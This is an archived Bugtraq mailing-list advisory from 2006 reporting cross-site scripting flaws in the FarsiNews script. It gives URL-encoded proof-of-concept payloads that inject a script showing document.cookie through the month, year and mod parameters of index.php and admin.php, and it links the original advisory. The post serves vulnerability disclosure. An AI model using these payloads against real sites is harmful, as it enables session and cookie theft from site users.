[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
XXS Attack On FarsiNews
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XXS Attack On FarsiNews
- From: outlaw@xxxxxxxxxxxxxxxxx
- Date: 26 Apr 2006 05:09:22 -0000
XSS attack:
http://[target]/[farsinews_path
]/index.php?month=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--&year=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--
http://[target]/[farsinews_path]/admin.php?mod=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C
!--
Original Advisory
http://www.aria-security.net/advisory/farsinews/farsinews0420062.txt